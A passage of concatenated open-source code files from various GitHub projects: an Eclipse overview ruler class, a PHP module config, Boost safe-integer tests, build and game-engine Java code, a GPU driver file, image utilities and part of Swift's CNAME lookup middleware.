* in the given <code>allowed</code> map or covered by the <code>configured</code>
* set.
*
* @param annotationType the annotation type
* @param allowed the map with allowed annotation types mapped to booleans
* @param configured the set with configured annotation types
* @return <code>true</code> if annotation is contained, <code>false</code>
* otherwise
* @since 3.0
*/
private boolean contains(Object annotationType, Map allowed, Set configured) {
Boolean cached = (Boolean) allowed.get(annotationType);
if (cached != null)
return cached.booleanValue();
boolean covered = isCovered(annotationType, configured);
allowed.put(annotationType, covered ? Boolean.TRUE : Boolean.FALSE);
return covered;
}
/**
* Computes whether the annotations of the given type are covered by the given <code>configured</code>
* set. This is the case if either the type of the annotation or any of its
* super types is contained in the <code>configured</code> set.
*
* @param annotationType the annotation type
* @param configured the set with configured annotation types
* @return <code>true</code> if annotation is covered, <code>false</code>
* otherwise
* @since 3.0
*/
private boolean isCovered(Object annotationType, Set configured) {
if (fAnnotationAccess instanceof IAnnotationAccessExtension) {
IAnnotationAccessExtension extension = (IAnnotationAccessExtension) fAnnotationAccess;
Iterator e = configured.iterator();
while (e.hasNext()) {
if (extension.isSubtype(annotationType, e.next()))
return true;
}
return false;
}
return configured.contains(annotationType);
}
/**
* Returns a specification of a color that lies between the given
* foreground and background color using the given scale factor.
*
* @param fg the foreground color
* @param bg the background color
* @param scale the scale factor
* @return the interpolated color
*/
private static RGB interpolate(RGB fg, RGB bg, double scale) {
return new RGB((int) ((1.0 - scale) * fg.red + scale * bg.red), (int) ((1.0 - scale) * fg.green + scale
* bg.green), (int) ((1.0 - scale) * fg.blue + scale * bg.blue));
}
/**
* Returns the grey value in which the given color would be drawn in grey-scale.
*
* @param rgb the color
* @return the grey-scale value
*/
private static double greyLevel(RGB rgb) {
if (rgb.red == rgb.green && rgb.green == rgb.blue)
return rgb.red;
return (0.299 * rgb.red + 0.587 * rgb.green + 0.114 * rgb.blue + 0.5);
}
/**
* Returns whether the given color is dark or light depending on the colors grey-scale level.
*
* @param rgb the color
* @return <code>true</code> if the color is dark, <code>false</code> if it is light
*/
private static boolean isDark(RGB rgb) {
return greyLevel(rgb) > 128;
}
/**
* Returns a color based on the color configured for the given annotation type and the given scale factor.
*
* @param annotationType the annotation type
* @param scale the scale factor
* @return the computed color
*/
private Color getColor(Object annotationType, double scale) {
Color base = findColor(annotationType);
if (base == null)
return null;
RGB baseRGB = base.getRGB();
RGB background = fCanvas.getBackground().getRGB();
boolean darkBase = isDark(baseRGB);
boolean darkBackground = isDark(background);
if (darkBase && darkBackground)
background = new RGB(255, 255, 255);
else if (!darkBase && !darkBackground)
background = new RGB(0, 0, 0);
return fSharedTextColors.getColor(interpolate(baseRGB, background, scale));
}
/**
* Returns the color for the given annotation type
*
* @param annotationType the annotation type
* @return the color
* @since 3.0
*/
private Color findColor(Object annotationType) {
Color color = (Color) fAnnotationTypes2Colors.get(annotationType);
if (color != null)
return color;
if (fAnnotationAccess instanceof IAnnotationAccessExtension) {
IAnnotationAccessExtension extension = (IAnnotationAccessExtension) fAnnotationAccess;
Object[] superTypes = extension.getSupertypes(annotationType);
if (superTypes != null) {
for (int i = 0; i < superTypes.length; i++) {
color = (Color) fAnnotationTypes2Colors.get(superTypes[i]);
if (color != null)
return color;
}
}
}
return null;
}
/**
* Returns the stroke color for the given annotation type and characteristics.
*
* @param annotationType the annotation type
* @param temporary <code>true</code> if for temporary annotations
* @return the stroke color
*/
private Color getStrokeColor(Object annotationType, boolean temporary) {
return getColor(annotationType, temporary && fIsTemporaryAnnotationDiscolored ? 0.5 : 0.2);
}
/**
* Returns the fill color for the given annotation type and characteristics.
*
* @param annotationType the annotation type
* @param temporary <code>true</code> if for temporary annotations
* @return the fill color
*/
private Color getFillColor(Object annotationType, boolean temporary) {
return getColor(annotationType, temporary && fIsTemporaryAnnotationDiscolored ? 0.9 : 0.75);
}
/*
* @see IVerticalRulerInfo#getLineOfLastMouseButtonActivity()
*/
public int getLineOfLastMouseButtonActivity() {
if (fLastMouseButtonActivityLine >= fTextViewer.getDocument().getNumberOfLines())
fLastMouseButtonActivityLine = -1;
return fLastMouseButtonActivityLine;
}
/*
* @see IVerticalRulerInfo#toDocumentLineNumber(int)
*/
public int toDocumentLineNumber(int y_coordinate) {
if (fTextViewer == null || y_coordinate == -1)
return -1;
int[] lineNumbers = toLineNumbers(y_coordinate);
int bestLine = findBestMatchingLineNumber(lineNumbers);
if (bestLine == -1 && lineNumbers.length > 0)
return lineNumbers[0];
return bestLine;
}
/*
* @see org.eclipse.jface.text.source.IVerticalRuler#getModel()
*/
public IAnnotationModel getModel() {
return fModel;
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#getAnnotationHeight()
*/
public int getAnnotationHeight() {
return fAnnotationHeight;
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#hasAnnotation(int)
*/
public boolean hasAnnotation(int y) {
return findBestMatchingLineNumber(toLineNumbers(y)) != -1;
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#getHeaderControl()
*/
public Control getHeaderControl() {
return fHeader;
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#addHeaderAnnotationType(java.lang.Object)
*/
public void addHeaderAnnotationType(Object annotationType) {
fConfiguredHeaderAnnotationTypes.add(annotationType);
fAllowedHeaderAnnotationTypes.clear();
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#removeHeaderAnnotationType(java.lang.Object)
*/
public void removeHeaderAnnotationType(Object annotationType) {
fConfiguredHeaderAnnotationTypes.remove(annotationType);
fAllowedHeaderAnnotationTypes.clear();
}
/**
* Updates the header of this ruler.
*/
private void updateHeader() {
if (fHeader == null || fHeader.isDisposed())
return;
fHeader.setToolTipText(null);
Object colorType = null;
outer: for (int i = fAnnotationsSortedByLayer.size() - 1; i >= 0; i--) {
Object annotationType = fAnnotationsSortedByLayer.get(i);
if (skipInHeader(annotationType) || skip(annotationType))
continue;
Iterator e = new FilterIterator(annotationType, FilterIterator.PERSISTENT | FilterIterator.TEMPORARY
| FilterIterator.IGNORE_BAGS, fCachedAnnotations.iterator());
while (e.hasNext()) {
if (e.next() != null) {
colorType = annotationType;
break outer;
}
}
}
Color color = null;
if (colorType != null)
color = findColor(colorType);
if (color == null) {
if (fHeaderPainter != null)
fHeaderPainter.setColor(null);
} else {
if (fHeaderPainter == null) {
fHeaderPainter = new HeaderPainter();
fHeader.addPaintListener(fHeaderPainter);
}
fHeaderPainter.setColor(color);
}
fHeader.redraw();
}
/**
* Updates the header tool tip text of this ruler.
*/
private void updateHeaderToolTipText() {
if (fHeader == null || fHeader.isDisposed())
return;
if (fHeader.getToolTipText() != null)
return;
String overview = ""; //$NON-NLS-1$
for (int i = fAnnotationsSortedByLayer.size() - 1; i >= 0; i--) {
Object annotationType = fAnnotationsSortedByLayer.get(i);
if (skipInHeader(annotationType) || skip(annotationType))
continue;
int count = 0;
String annotationTypeLabel = null;
Iterator e = new FilterIterator(annotationType, FilterIterator.PERSISTENT | FilterIterator.TEMPORARY
| FilterIterator.IGNORE_BAGS, fCachedAnnotations.iterator());
while (e.hasNext()) {
Annotation annotation = (Annotation) e.next();
if (annotation != null) {
if (annotationTypeLabel == null)
annotationTypeLabel = ((IAnnotationAccessExtension) fAnnotationAccess).getTypeLabel(annotation);
count++;
}
}
if (annotationTypeLabel != null) {
if (overview.length() > 0)
overview += "\n"; //$NON-NLS-1$
overview += annotationTypeLabel + ":" + new Integer(count); //$NON-NLS-1$ fabioz change; not user internal formatter
}
}
if (overview.length() > 0)
fHeader.setToolTipText(overview);
}
}
| {
"pile_set_name": "Github"
} |
<?php
/*******
* doesn't allow this file to be loaded with a browser.
*/
if (!defined('AT_INCLUDE_PATH')) { exit; }
/******
* this file must only be included within a Module obj
*/
if (!isset($this) || (isset($this) && (strtolower(get_class($this)) != 'module'))) { exit(__FILE__ . ' is not a Module'); }
/*******
* assign the instructor and admin privileges to the constants.
*/
define('AT_PRIV_FARCHIVE', $this->getPrivilege());
//define('AT_ADMIN_PRIV_FARCHIVE', $this->getAdminPrivilege());
/*******
* instructor Manage section:
*/
$this->_pages['mods/_standard/farchive/index_instructor.php']['title_var'] = 'farchive_export';
$this->_pages['mods/_standard/farchive/index_instructor.php']['parent'] = 'mods/_standard/forums/index.php';
$this->_pages['mods/_standard/farchive/index_instructor.php']['guide'] = 'instructor/?p=forum_export.php';
$this->_pages['mods/_standard/forums/index.php']['children'] = array('mods/_standard/farchive/index_instructor.php');
if($_SESSION['is_admin'] > 0 || authenticate(AT_PRIV_FARCHIVE, TRUE)){
$this->_pages_i['mods/_standard/farchive/index_instructor.php']['title_var'] = 'farchive_export';
$this->_pages_i['mods/_standard/farchive/index_instructor.php']['other_parent'] = 'mods/_standard/forums/forum/list.php';
$this->_pages_i['mods/_standard/forums/forum/list.php']['children'] = array('mods/_standard/farchive/index_instructor.php');
}
?> | {
"pile_set_name": "Github"
} |
// Copyright (c) 2012 Robert Ramey
//
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include <iostream>
#include <boost/safe_numerics/safe_integer_range.hpp>
#include <boost/safe_numerics/safe_integer.hpp>
bool test1(){
std::cout << "test1" << std::endl;
boost::safe_numerics::safe_signed_range<-64, 63> x, y, z;
x = 1;
y = 2;
z = 3;
z = x + y;
z = x - y;
try{
short int yi, zi;
yi = y;
zi = x + yi;
}
catch(std::exception e){
// none of the above should trap. Mark failure if they do
std::cout << e.what() << std::endl;
return false;
}
return true;
}
bool test2(){
std::cout << "test2" << std::endl;
boost::safe_numerics::safe_unsigned_range<0, 64> x, y, z;
x = 1;
y = 2;
z = 3;
bool success = false;
try{
z = x - y; // should trap here
}
catch(std::exception e){
success = true;
}
if(success == false)
return false;
try{
int yi = y;
z = x + yi; // should trap here
}
catch(std::exception e){
// none of the above should trap. Mark failure if they do
std::cout << e.what() << std::endl;
return false;
}
return true;
}
bool test3(){
using namespace boost::safe_numerics;
std::cout << "test3" << std::endl;
safe<int> x, y, z;
x = 1;
y = 2;
z = 3;
try{
z = x + y;
z = x - y;
int yi, zi;
zi = x + yi;
z = x + yi;
}
catch(std::exception e){
// none of the above should trap. Mark failure if they do
std::cout << e.what() << std::endl;
return false;
}
return true;
}
bool test4(){
std::cout << "test4" << std::endl;
boost::safe_numerics::safe<unsigned int> x, y, z;
x = 1;
y = 2;
z = 3;
z = x + y;
bool success = false;
try{
z = x - y; // should trap here
}
catch(std::exception e){
success = true;
}
if(success == false)
return false;
unsigned int yi, zi;
zi = x;
zi = x + yi;
z = x + yi;
zi = x + y;
return true;
}
#include <cstdint>
bool test5(){
std::cout << "test5" << std::endl;
boost::safe_numerics::safe<boost::uint64_t> x, y, z;
x = 1;
y = 2;
z = 3;
z = x + y;
bool success = false;
try{
z = x - y; // should trap here
}
catch(std::exception e){
success = true;
}
if(success == false)
return false;
boost::uint64_t yi, zi;
zi = x;
zi = x + yi;
z = x + yi;
zi = x + y;
return true;
}
int main(int, char *[]){
bool rval = (
test1() &&
test2() &&
test3() &&
test4() &&
test5()
);
std::cout << (rval ? "success!" : "failure") << std::endl;
return rval ? EXIT_SUCCESS : EXIT_FAILURE;
}
| {
"pile_set_name": "Github"
} |
{{ { 'error': { 'code': status_code, 'message': status_text } }|json_encode|raw }}
| {
"pile_set_name": "Github"
} |
This directory contains tests for the update engine of
Boost.Build. They presently are not integrated with
the Python based test system and must be run by
hand.
| {
"pile_set_name": "Github"
} |
Copyright: 2017, Igalia and the Snabb project.
License: See COPYING.
Snabbwall development has been kindly funded by NLnet Foundation (https://nlnet.nl/).
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>sia-task</artifactId>
<groupId>com.sia</groupId>
<version>${sia-task-version}</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>sia-task-executor</artifactId>
<packaging>pom</packaging>
<modules>
<module>sia-task-executor-springboot</module>
<module>sia-task-executor-spring</module>
</modules>
</project>
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2016 MovingBlocks
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.terasology.engine.modes.loadProcesses;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.terasology.config.Config;
import org.terasology.context.Context;
import org.terasology.engine.ComponentSystemManager;
import org.terasology.engine.GameEngine;
import org.terasology.engine.TerasologyConstants;
import org.terasology.engine.modes.SingleStepLoadProcess;
import org.terasology.engine.modes.StateMainMenu;
import org.terasology.engine.module.ModuleManager;
import org.terasology.engine.paths.PathManager;
import org.terasology.engine.subsystem.RenderingSubsystemFactory;
import org.terasology.entitySystem.entity.EntityManager;
import org.terasology.entitySystem.entity.internal.EngineEntityManager;
import org.terasology.game.GameManifest;
import org.terasology.logic.players.LocalPlayer;
import org.terasology.module.ModuleEnvironment;
import org.terasology.persistence.StorageManager;
import org.terasology.persistence.internal.ReadOnlyStorageManager;
import org.terasology.persistence.internal.ReadWriteStorageManager;
import org.terasology.recording.DirectionAndOriginPosRecorderList;
import org.terasology.recording.RecordAndReplayCurrentStatus;
import org.terasology.recording.RecordAndReplaySerializer;
import org.terasology.recording.RecordAndReplayStatus;
import org.terasology.recording.RecordAndReplayUtils;
import org.terasology.rendering.backdrop.BackdropProvider;
import org.terasology.rendering.backdrop.BackdropRenderer;
import org.terasology.rendering.backdrop.Skysphere;
import org.terasology.rendering.cameras.Camera;
import org.terasology.rendering.world.WorldRenderer;
import org.terasology.utilities.random.FastRandom;
import org.terasology.world.BlockEntityRegistry;
import org.terasology.world.WorldProvider;
import org.terasology.world.block.Block;
import org.terasology.world.block.BlockManager;
import org.terasology.world.chunks.blockdata.ExtraBlockDataManager;
import org.terasology.world.chunks.localChunkProvider.LocalChunkProvider;
import org.terasology.world.chunks.localChunkProvider.RelevanceSystem;
import org.terasology.world.generator.UnresolvedWorldGeneratorException;
import org.terasology.world.generator.WorldGenerator;
import org.terasology.world.generator.internal.WorldGeneratorManager;
import org.terasology.world.generator.plugin.DefaultWorldGeneratorPluginLibrary;
import org.terasology.world.generator.plugin.WorldGeneratorPluginLibrary;
import org.terasology.world.internal.EntityAwareWorldProvider;
import org.terasology.world.internal.WorldInfo;
import org.terasology.world.internal.WorldProviderCoreImpl;
import org.terasology.world.internal.WorldProviderWrapper;
import org.terasology.world.sun.BasicCelestialModel;
import org.terasology.world.sun.CelestialSystem;
import org.terasology.world.sun.DefaultCelestialSystem;
import java.io.IOException;
import java.nio.file.Path;
public class InitialiseWorld extends SingleStepLoadProcess {
private static final Logger logger = LoggerFactory.getLogger(InitialiseWorld.class);
private GameManifest gameManifest;
private Context context;
public InitialiseWorld(GameManifest gameManifest, Context context) {
this.gameManifest = gameManifest;
this.context = context;
}
@Override
public String getMessage() {
return "Initializing world...";
}
@Override
public boolean step() {
BlockManager blockManager = context.get(BlockManager.class);
ExtraBlockDataManager extraDataManager = context.get(ExtraBlockDataManager.class);
ModuleEnvironment environment = context.get(ModuleManager.class).getEnvironment();
context.put(WorldGeneratorPluginLibrary.class, new DefaultWorldGeneratorPluginLibrary(environment, context));
WorldInfo worldInfo = gameManifest.getWorldInfo(TerasologyConstants.MAIN_WORLD);
if (worldInfo.getSeed() == null || worldInfo.getSeed().isEmpty()) {
FastRandom random = new FastRandom();
worldInfo.setSeed(random.nextString(16));
}
logger.info("World seed: \"{}\"", worldInfo.getSeed());
// TODO: Separate WorldRenderer from world handling in general
WorldGeneratorManager worldGeneratorManager = context.get(WorldGeneratorManager.class);
WorldGenerator worldGenerator;
try {
worldGenerator = WorldGeneratorManager.createGenerator(worldInfo.getWorldGenerator(), context);
// setting the world seed will create the world builder
worldGenerator.setWorldSeed(worldInfo.getSeed());
context.put(WorldGenerator.class, worldGenerator);
} catch (UnresolvedWorldGeneratorException e) {
logger.error("Unable to load world generator {}. Available world generators: {}",
worldInfo.getWorldGenerator(), worldGeneratorManager.getWorldGenerators());
context.get(GameEngine.class).changeState(new StateMainMenu("Failed to resolve world generator."));
return true; // We need to return true, otherwise the loading state will just call us again immediately
}
// Init. a new world
EngineEntityManager entityManager = (EngineEntityManager) context.get(EntityManager.class);
boolean writeSaveGamesEnabled = context.get(Config.class).getSystem().isWriteSaveGamesEnabled();
//Gets save data from a normal save or from a recording if it is a replay
Path saveOrRecordingPath = getSaveOrRecordingPath();
StorageManager storageManager;
RecordAndReplaySerializer recordAndReplaySerializer = context.get(RecordAndReplaySerializer.class);
RecordAndReplayUtils recordAndReplayUtils = context.get(RecordAndReplayUtils.class);
RecordAndReplayCurrentStatus recordAndReplayCurrentStatus = context.get(RecordAndReplayCurrentStatus.class);
try {
storageManager = writeSaveGamesEnabled
? new ReadWriteStorageManager(saveOrRecordingPath, environment, entityManager, blockManager, extraDataManager, recordAndReplaySerializer, recordAndReplayUtils, recordAndReplayCurrentStatus)
: new ReadOnlyStorageManager(saveOrRecordingPath, environment, entityManager, blockManager, extraDataManager);
} catch (IOException e) {
logger.error("Unable to create storage manager!", e);
context.get(GameEngine.class).changeState(new StateMainMenu("Unable to create storage manager!"));
return true; // We need to return true, otherwise the loading state will just call us again immediately
}
context.put(StorageManager.class, storageManager);
LocalChunkProvider chunkProvider = new LocalChunkProvider(storageManager, entityManager, worldGenerator,
blockManager, extraDataManager);
RelevanceSystem relevanceSystem = new RelevanceSystem(chunkProvider);
context.put(RelevanceSystem.class, relevanceSystem);
context.get(ComponentSystemManager.class).register(relevanceSystem, "engine:relevanceSystem");
chunkProvider.setRelevanceSystem(relevanceSystem);
Block unloadedBlock = blockManager.getBlock(BlockManager.UNLOADED_ID);
WorldProviderCoreImpl worldProviderCore = new WorldProviderCoreImpl(worldInfo, chunkProvider, unloadedBlock, context);
EntityAwareWorldProvider entityWorldProvider = new EntityAwareWorldProvider(worldProviderCore, context);
WorldProvider worldProvider = new WorldProviderWrapper(entityWorldProvider, extraDataManager);
context.put(WorldProvider.class, worldProvider);
chunkProvider.setBlockEntityRegistry(entityWorldProvider);
context.put(BlockEntityRegistry.class, entityWorldProvider);
context.get(ComponentSystemManager.class).register(entityWorldProvider, "engine:BlockEntityRegistry");
DefaultCelestialSystem celestialSystem = new DefaultCelestialSystem(new BasicCelestialModel(), context);
context.put(CelestialSystem.class, celestialSystem);
context.get(ComponentSystemManager.class).register(celestialSystem);
Skysphere skysphere = new Skysphere(context);
BackdropProvider backdropProvider = skysphere;
BackdropRenderer backdropRenderer = skysphere;
context.put(BackdropProvider.class, backdropProvider);
context.put(BackdropRenderer.class, backdropRenderer);
RenderingSubsystemFactory engineSubsystemFactory = context.get(RenderingSubsystemFactory.class);
WorldRenderer worldRenderer = engineSubsystemFactory.createWorldRenderer(context);
context.put(WorldRenderer.class, worldRenderer);
// TODO: These shouldn't be done here, nor so strongly tied to the world renderer
LocalPlayer localPlayer = new LocalPlayer();
localPlayer.setRecordAndReplayClasses(context.get(DirectionAndOriginPosRecorderList.class), context.get(RecordAndReplayCurrentStatus.class));
context.put(LocalPlayer.class, localPlayer);
context.put(Camera.class, worldRenderer.getActiveCamera());
return true;
}
private Path getSaveOrRecordingPath() {
Path saveOrRecordingPath;
if (context.get(RecordAndReplayCurrentStatus.class).getStatus() == RecordAndReplayStatus.PREPARING_REPLAY) {
saveOrRecordingPath = PathManager.getInstance().getRecordingPath(gameManifest.getTitle());
} else {
saveOrRecordingPath = PathManager.getInstance().getSavePath(gameManifest.getTitle());
}
return saveOrRecordingPath;
}
@Override
public int getExpectedCost() {
return 5;
}
}
| {
"pile_set_name": "Github"
} |
# Mixing OpenGL (3D) and QPainter (2D) drawing in the same viewer.
# A semi-transparent eounded square is painted in 2D using a QPainter on top of a classical 3D OpenGL rendering.
# Useful to add 2D objects (annotations, menus, head-up display) to your viewers.
# Inspired from the Qt's overpainting example. Note that this functionnality is only available with Qt 4.
TEMPLATE = app
TARGET = overpainting
HEADERS = viewer.h
SOURCES = viewer.cpp main.cpp
include( ../examples.pri )
| {
"pile_set_name": "Github"
} |
package Ch_1_4;
import edu.princeton.cs.algs4.StdOut;
import edu.princeton.cs.algs4.StdRandom;
/**
* Created by HuGuodong on 2019/8/6.
*/
public class _ThreeSumClient {
public static void main(String[] args) {
// int N = Integer.parseInt(args[0]);
int N = 2000;
int[] a = new int[N];
for (int i = 0; i < N; i++) {
a[i] = StdRandom.uniform(-1000000, 1000000);
}
_Stopwatch timer = new _Stopwatch();
int cnt = _ThreeSum.count(a);
double time = timer.elapsedTime();
StdOut.println(N + " : " + cnt + " triples " + time + " seconds");
// 1000 : 64 triples 0.657 seconds
// 2000 : 497 triples 4.614 seconds
}
}
| {
"pile_set_name": "Github"
} |
class Solution {
func canFinish(_ numCourses: Int, _ prerequisites: [[Int]]) -> Bool {
var graph = [Int: Set<Int>]()
for prerequisite in prerequisites {
graph[prerequisite[0], default: []].insert(prerequisite[1])
}
var visited = [Int: Int]()
for course in graph.keys {
if !courseTaken(graph, course, &visited) { return false }
}
return true
}
private func courseTaken(_ graph: [Int: Set<Int>], _ currentCourse: Int, _ visited: inout [Int: Int]) -> Bool {
if visited[currentCourse] == 1 { return true }
else if visited[currentCourse] == -1 { return false }
visited[currentCourse] = -1
for nextCourse in graph[currentCourse] ?? [] {
if !courseTaken(graph, nextCourse, &visited) { return false }
}
visited[currentCourse] = 1
return true
}
} | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:state_selected="true" android:drawable="@mipmap/red_led"/>
<item android:drawable="@mipmap/norm_led"/>
</selector> | {
"pile_set_name": "Github"
} |
/*
* Copyright 2012 Red Hat Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*
* Authors: Ben Skeggs
*/
#include "nv50.h"
#include "rootnv50.h"
static const struct nv50_disp_func
gk104_disp = {
.intr = gf119_disp_intr,
.uevent = &gf119_disp_chan_uevent,
.super = gf119_disp_intr_supervisor,
.root = &gk104_disp_root_oclass,
.head.vblank_init = gf119_disp_vblank_init,
.head.vblank_fini = gf119_disp_vblank_fini,
.head.scanoutpos = gf119_disp_root_scanoutpos,
.outp.internal.crt = nv50_dac_output_new,
.outp.internal.tmds = nv50_sor_output_new,
.outp.internal.lvds = nv50_sor_output_new,
.outp.internal.dp = gf119_sor_dp_new,
.dac.nr = 3,
.dac.power = nv50_dac_power,
.dac.sense = nv50_dac_sense,
.sor.nr = 4,
.sor.power = nv50_sor_power,
.sor.hda_eld = gf119_hda_eld,
.sor.hdmi = gk104_hdmi_ctrl,
};
int
gk104_disp_new(struct nvkm_device *device, int index, struct nvkm_disp **pdisp)
{
return gf119_disp_new_(&gk104_disp, device, index, pdisp);
}
| {
"pile_set_name": "Github"
} |
from typing import List, Tuple
import torch
import numpy as np
from PIL import Image
from torch.autograd import Variable
def resize(img: np.ndarray, size: Tuple[int, int], interpolation=Image.BILINEAR) -> Image:
"""Resize the input PIL Image to the given size.
Args:
img ( np.ndarray Image): Image to be resized.
size (tuple of int): Desired output size. The size is a sequence with the structure
(h, w). The output size will be matched to this. `
interpolation (int, optional): Desired interpolation. Default is
``PIL.Image.BILINEAR``
Returns:
PIL Image: Resized image.
"""
# Resizing needs "PIL.Image" objects, as scipy method was deprecated
# and numpy does not support these sort of image transformations
pil_img = Image.fromarray(img)
pil_img = pil_img.resize(size[::-1], interpolation)
return np.array(pil_img)
def ndarray_to_tensor(pic: np.ndarray) -> torch.Tensor:
"""Translates the ndarray to a torch Tensor
:param pic: PIL Image: Resized image
:return: transformed torch.Tensor, required by the "normalize()" method
"""
# Define constants
RGB_VALUES = 255
# handle numpy array
if pic.ndim == 2:
pic = pic[:, :, None]
tensor = torch.from_numpy(pic.transpose((2, 0, 1)) / RGB_VALUES)
return tensor
def normalize(tensor: torch.Tensor, mean: List[float], std: List[float], inplace=False) -> torch.Tensor:
"""Normalize a tensor image with mean and standard deviation.
.. note::
This transform acts out of place by default, i.e., it does not mutates the input tensor.
See :class:`~torchvision.transforms.Normalize` for more details.
Args:
tensor (Tensor): Tensor image of size (C, H, W) to be normalized.
mean (sequence): Sequence of means for each channel.
std (sequence): Sequence of standard deviations for each channel.
inplace(bool,optional): Bool to make this operation inplace.
Returns:
Tensor: Normalized Tensor image.
"""
if not inplace:
tensor = tensor.clone()
# Issues leaving a tensor as torch.uint8, which is the exit of the method ndarray_to_tensor(),
# as tensor.sub_(mean[:, None, None]).div_(std[:, None, None]) presented an issue of division by 0.
# Output of torchvision.transforms.compose() is a torch.float32
tensor = tensor.type(torch.float32)
dtype = tensor.dtype
# Transform mean and std in torch tensors
mean = torch.as_tensor(mean, dtype=dtype, device=tensor.device)
std = torch.as_tensor(std, dtype=dtype, device=tensor.device)
# Normalization is implemented
tensor.sub_(mean[:, None, None]).div_(std[:, None, None])
# unsqueeze_() adds another dimension to the tensor, with shape (:,:,:).
# The input of our net requires a (1,:,:,:) tensor.
tensor.unsqueeze_(0)
# "autograd.Variable()" creates tensors that support gradient calculations.
# Might be redundant as no backpropagation is computed in "test" mode.
return Variable(tensor)
| {
"pile_set_name": "Github"
} |
# Copyright (c) 2010-2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
CNAME Lookup Middleware
Middleware that translates an unknown domain in the host header to
something that ends with the configured storage_domain by looking up
the given domain's CNAME record in DNS.
This middleware will continue to follow a CNAME chain in DNS until it finds
a record ending in the configured storage domain or it reaches the configured
maximum lookup depth. If a match is found, the environment's Host header is
rewritten and the request is passed further down the WSGI chain.
"""
import six
from swift import gettext_ as _
try:
import dns.resolver
import dns.exception
except ImportError:
# catch this to allow docs to be built without the dependency
MODULE_DEPENDENCY_MET = False
else: # executed if the try block finishes with no errors
MODULE_DEPENDENCY_MET = True
from swift.common.middleware import RewriteContext
from swift.common.swob import Request, HTTPBadRequest, \
str_to_wsgi, wsgi_to_str
from swift.common.utils import cache_from_env, get_logger, is_valid_ip, \
list_from_csv, parse_socket_string, register_swift_info
def lookup_cname(domain, resolver): # pragma: no cover
"""
Given a domain, returns its DNS CNAME mapping and DNS ttl.
:param domain: domain to query on
:param resolver: dns.resolver.Resolver() instance used for executing DNS
queries
:returns: (ttl, result)
"""
try:
answer = resolver.query(domain, 'CNAME').rrset
ttl = answer.ttl
result = answer.items[0].to_text()
result = result.rstrip('.')
return ttl, result
except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer):
# As the memcache lib returns None when nothing is found in cache,
# returning false helps to distinguish between "nothing in cache"
# (None) and "nothing to cache" (False).
return 60, False
except (dns.exception.DNSException):
return 0, None
class _CnameLookupContext(RewriteContext):
base_re = r'^(https?://)%s(/.*)?$'
class CNAMELookupMiddleware(object):
"""
CNAME Lookup Middleware
See above for a full description.
:param app: The next WSGI filter or app in the paste.deploy
chain.
:param conf: The configuration dict for the middleware.
"""
def __init__(self, app, conf):
if not MODULE_DEPENDENCY_MET:
# reraise the exception if the dependency wasn't met
raise ImportError('dnspython is required for this module')
self.app = app
storage_domain = conf.get('storage_domain', 'example.com')
self.storage_domain = ['.' + s for s in
list_from_csv(storage_domain)
if not s.startswith('.')]
self.storage_domain += [s for s in list_from_csv(storage_domain)
if s.startswith('.')]
self.lookup_depth = int(conf.get('lookup_depth', '1'))
nameservers = list_from_csv(conf.get('nameservers'))
try:
for i, server in enumerate(nameservers):
ip_or_host, maybe_port = nameservers[i] = \
parse_socket_string(server, None)
if not is_valid_ip(ip_or_host):
raise ValueError
if maybe_port is not None:
int(maybe_port)
except ValueError:
raise ValueError('Invalid cname_lookup/nameservers configuration '
'found. All nameservers must be valid IPv4 or '
'IPv6, followed by an optional :<integer> port.')
self.resolver = dns.resolver.Resolver()
if nameservers:
self.resolver.nameservers = [ip for (ip, port) in nameservers]
self.resolver.nameserver_ports = {
ip: int(port) for (ip, port) in nameservers
if port is not None}
self.memcache = None
self.logger = get_logger(conf, log_route='cname-lookup')
def _domain_endswith_in_storage_domain(self, a_domain):
